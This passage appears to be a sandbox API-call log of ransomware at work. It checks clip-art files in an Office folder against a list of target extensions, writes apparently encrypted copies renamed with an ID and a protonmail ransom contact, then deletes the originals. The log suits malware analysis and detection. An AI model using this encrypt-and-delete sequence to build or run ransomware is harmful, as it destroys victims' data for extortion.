	[0202.063] lstrlenW (lpString=".dbf") returned 4
	[0202.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0202.063] lstrlenW (lpString=".1cd") returned 4
	[0202.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0202.063] lstrlenW (lpString=".jpg") returned 4
	[0202.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.063] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.063] lstrlenW (lpString="J0152414.WMF") returned 12
	[0202.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0202.064] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=24844) returned 1
	[0202.064] CloseHandle (hObject=0x5e8) returned 1
	[0202.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 0x220
	[0202.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0202.065] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.065] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0202.066] GetLastError () returned 0x0
	[0202.066] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x610c, lpOverlapped=0x0) returned 1
	[0202.068] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x6110, lpOverlapped=0x0) returned 1
	[0202.069] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.069] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.070] SetEndOfFile (hFile=0x36c) returned 1
	[0202.070] CloseHandle (hObject=0x36c) returned 1
	[0202.070] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.070] SetEndOfFile (hFile=0x5e8) returned 1
	[0202.073] CloseHandle (hObject=0x5e8) returned 1
	[0202.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 1
	[0202.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0202.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0202.074] lstrlenW (lpString=".doc") returned 4
	[0202.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.074] lstrlenW (lpString=".docx") returned 5
	[0202.074] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0202.074] lstrlenW (lpString=".pdf") returned 4
	[0202.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.074] lstrlenW (lpString=".xls") returned 4
	[0202.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.074] lstrlenW (lpString=".xlsx") returned 5
	[0202.074] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0202.074] lstrlenW (lpString=".ppt") returned 4
	[0202.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0202.075] lstrlenW (lpString=".zip") returned 4
	[0202.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.075] lstrlenW (lpString=".rar") returned 4
	[0202.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.075] lstrlenW (lpString=".bz2") returned 4
	[0202.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.075] lstrlenW (lpString=".7z") returned 3
	[0202.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0202.075] lstrlenW (lpString=".dbf") returned 4
	[0202.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0202.075] lstrlenW (lpString=".1cd") returned 4
	[0202.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0202.075] lstrlenW (lpString=".jpg") returned 4
	[0202.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0202.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0202.075] lstrlenW (lpString=".doc") returned 4
	[0202.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.075] lstrlenW (lpString=".docx") returned 5
	[0202.075] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0202.075] lstrlenW (lpString=".pdf") returned 4
	[0202.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.075] lstrlenW (lpString=".xls") returned 4
	[0202.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.075] lstrlenW (lpString=".xlsx") returned 5
	[0202.075] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0202.075] lstrlenW (lpString=".ppt") returned 4
	[0202.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0202.076] lstrlenW (lpString=".zip") returned 4
	[0202.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.076] lstrlenW (lpString=".rar") returned 4
	[0202.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.076] lstrlenW (lpString=".bz2") returned 4
	[0202.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.076] lstrlenW (lpString=".7z") returned 3
	[0202.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0202.076] lstrlenW (lpString=".dbf") returned 4
	[0202.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0202.076] lstrlenW (lpString=".1cd") returned 4
	[0202.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68
	[0202.076] lstrlenW (lpString=".jpg") returned 4
	[0202.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.076] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.076] lstrlenW (lpString="J0152430.WMF") returned 12
	[0202.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0202.104] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=14132) returned 1
	[0202.104] CloseHandle (hObject=0x5e8) returned 1
	[0202.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 0x220
	[0202.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0202.117] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.117] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0202.118] GetLastError () returned 0x0
	[0202.118] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x3734, lpOverlapped=0x0) returned 1
	[0202.120] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x3740, lpOverlapped=0x0) returned 1
	[0202.122] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.122] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.122] SetEndOfFile (hFile=0x36c) returned 1
	[0202.122] CloseHandle (hObject=0x36c) returned 1
	[0202.122] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.122] SetEndOfFile (hFile=0x5e8) returned 1
	[0202.125] CloseHandle (hObject=0x5e8) returned 1
	[0202.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 1
	[0202.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0202.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0202.126] lstrlenW (lpString=".doc") returned 4
	[0202.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.126] lstrlenW (lpString=".docx") returned 5
	[0202.126] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0202.126] lstrlenW (lpString=".pdf") returned 4
	[0202.126] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.126] lstrlenW (lpString=".xls") returned 4
	[0202.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.127] lstrlenW (lpString=".xlsx") returned 5
	[0202.127] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0202.127] lstrlenW (lpString=".ppt") returned 4
	[0202.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0202.127] lstrlenW (lpString=".zip") returned 4
	[0202.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.127] lstrlenW (lpString=".rar") returned 4
	[0202.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.127] lstrlenW (lpString=".bz2") returned 4
	[0202.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.127] lstrlenW (lpString=".7z") returned 3
	[0202.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0202.127] lstrlenW (lpString=".dbf") returned 4
	[0202.127] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0202.127] lstrlenW (lpString=".1cd") returned 4
	[0202.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0202.127] lstrlenW (lpString=".jpg") returned 4
	[0202.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0202.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0202.127] lstrlenW (lpString=".doc") returned 4
	[0202.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.127] lstrlenW (lpString=".docx") returned 5
	[0202.127] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0202.127] lstrlenW (lpString=".pdf") returned 4
	[0202.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.128] lstrlenW (lpString=".xls") returned 4
	[0202.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.128] lstrlenW (lpString=".xlsx") returned 5
	[0202.128] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0202.128] lstrlenW (lpString=".ppt") returned 4
	[0202.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0202.128] lstrlenW (lpString=".zip") returned 4
	[0202.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.128] lstrlenW (lpString=".rar") returned 4
	[0202.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.128] lstrlenW (lpString=".bz2") returned 4
	[0202.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.128] lstrlenW (lpString=".7z") returned 3
	[0202.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0202.128] lstrlenW (lpString=".dbf") returned 4
	[0202.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0202.128] lstrlenW (lpString=".1cd") returned 4
	[0202.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0202.128] lstrlenW (lpString=".jpg") returned 4
	[0202.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.128] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.128] lstrlenW (lpString="J0152558.WMF") returned 12
	[0202.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0202.130] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=16052) returned 1
	[0202.130] CloseHandle (hObject=0x5e8) returned 1
	[0202.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 0x220
	[0202.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0202.130] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.130] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0202.131] GetLastError () returned 0x0
	[0202.131] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x3eb4, lpOverlapped=0x0) returned 1
	[0202.142] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x3ec0, lpOverlapped=0x0) returned 1
	[0202.143] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.143] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.143] SetEndOfFile (hFile=0x36c) returned 1
	[0202.143] CloseHandle (hObject=0x36c) returned 1
	[0202.143] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.144] SetEndOfFile (hFile=0x5e8) returned 1
	[0202.147] CloseHandle (hObject=0x5e8) returned 1
	[0202.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.147] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 1
	[0202.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0202.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0202.149] lstrlenW (lpString=".doc") returned 4
	[0202.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.149] lstrlenW (lpString=".docx") returned 5
	[0202.149] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0202.149] lstrlenW (lpString=".pdf") returned 4
	[0202.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.149] lstrlenW (lpString=".xls") returned 4
	[0202.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.149] lstrlenW (lpString=".xlsx") returned 5
	[0202.149] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0202.149] lstrlenW (lpString=".ppt") returned 4
	[0202.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0202.150] lstrlenW (lpString=".zip") returned 4
	[0202.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.150] lstrlenW (lpString=".rar") returned 4
	[0202.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.150] lstrlenW (lpString=".bz2") returned 4
	[0202.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.150] lstrlenW (lpString=".7z") returned 3
	[0202.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0202.150] lstrlenW (lpString=".dbf") returned 4
	[0202.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0202.150] lstrlenW (lpString=".1cd") returned 4
	[0202.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0202.150] lstrlenW (lpString=".jpg") returned 4
	[0202.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0202.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0202.151] lstrlenW (lpString=".doc") returned 4
	[0202.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.151] lstrlenW (lpString=".docx") returned 5
	[0202.151] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0202.151] lstrlenW (lpString=".pdf") returned 4
	[0202.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.151] lstrlenW (lpString=".xls") returned 4
	[0202.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.151] lstrlenW (lpString=".xlsx") returned 5
	[0202.151] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0202.151] lstrlenW (lpString=".ppt") returned 4
	[0202.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0202.151] lstrlenW (lpString=".zip") returned 4
	[0202.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.151] lstrlenW (lpString=".rar") returned 4
	[0202.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.151] lstrlenW (lpString=".bz2") returned 4
	[0202.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.151] lstrlenW (lpString=".7z") returned 3
	[0202.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0202.151] lstrlenW (lpString=".dbf") returned 4
	[0202.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
